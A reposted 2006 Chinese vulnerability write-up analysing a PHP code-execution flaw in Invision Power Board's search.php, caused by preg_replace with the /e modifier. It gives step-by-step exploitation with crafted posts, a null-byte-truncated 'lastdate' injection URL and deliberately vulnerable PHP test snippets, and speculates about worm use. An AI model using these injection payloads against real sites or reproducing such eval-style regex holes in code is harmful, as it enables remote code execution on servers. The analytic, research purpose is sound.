网页功能: 加入收藏 设为首页 网站搜索  
ipb search.php 漏洞分析及思考
发表日期:2006-10-14作者:HeiGe[转贴] 出处:安全焦点  

ipb search.php 漏洞分析及思考

Author:SuperHei_[At]_ph4nt0m.org
Blog:http://superhei.blogbus.com/
Team:http://www.ph4nt0m.org
Data: 2006-04-27

#############
##简单分析###
#############
该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php  行1258-1262:

    if ( $this->ipsclass->input['lastdate'] )
        {
            $this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1

selected='selected'", $this->output );
            
        }
    }

通过变量input['lastdate']注入/e, $this->output注入shellcode。

#############
##利用方法###
#############

注册一个用户,发个贴 内容[shellcode]如下:[

superheixxxxxxxeval(phpinf0()); //

注意最后的;和//之间有一空格

然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ]

可以得到searchid
http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul

t_type=posts&highlite=superheixxxxxxxeval

然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了:

http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul

t_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00

#############
##分析讨论###
#############
1.


简单分析:

该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php  行1258-1262:



    if ( $this->ipsclass->input['lastdate'] )

        {

            $this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1



selected='selected'", $this->output );

            

        }

    }



通过变量input['lastdate']注入/e, $this->output注入shellcode。





这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交



的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected='selected' 里面的\\1 为第一参数里正则表达试匹配后的值。归根结底



我们提交的shellcode还是在第2个参数执行了。



2.
注意最后的;和//之间有一空格


这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//


3.preg_replace存在null截断漏洞????

我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:
<?
$a=$_GET[a];
echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");
?>

我们直接提交http://127.0.0.1/test2.php?a=2出现错误:
Warning: Unknown modifier '2' in d:\easyphp\www\test2.php on line 3

提交http://127.0.0.1/test2.php?a=%002 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是

经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。

4."lastdate=z|eval.*?%20//)%23e%00"的构造
主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。

5.worm的利用?
还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片

认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多......

#############
##总结模型###
#############
1.直接在preg_replace第2个变量执行的模式:
<?
echo preg_replace("/test/e",$h,"jutst test");
?>
提交http://127.0.0.1/test/11/preg.php?h=phpinfo()
实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞

2.通过\\1[或者\\n]提取第3个变量里的php代码并执行的模式:
<?
echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $h);
?>
提交:http://127.0.0.1/test/11/preg.php?h=[php]phpinfo()[/php]

参考:
r57的exp:http://www.milw0rm.com/exploits/1720
更多资料:http://www.google.com
我来说两句】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 ipb search.php 漏洞分析及思考
本类热点文章
  WordPress wp-trackback.php漏洞分析
  PHP-Nuke web中心系统中的用户登录SQL ..
  PHP-Nuke web中心系统中的用户登录SQL ..
  新浪UC ActiveX多个远程栈溢出漏洞 0-DAY
  MS06-055 XP-SP2 Exploit Challenge
  Setuid() - nproc limit 类型漏洞之深入..
  利用异常处理执行shellcode实例
  ipb search.php 漏洞分析及思考
  Microsoft Windows图形渲染引擎WMF格式..
  CCProxy 6.2溢出学习笔记
  Php5 GPC绕过缺陷
  IE mhtml redirection漏洞利用方法
最新分类信息我要发布 
最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放  
Copyright ©2003-2024 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00372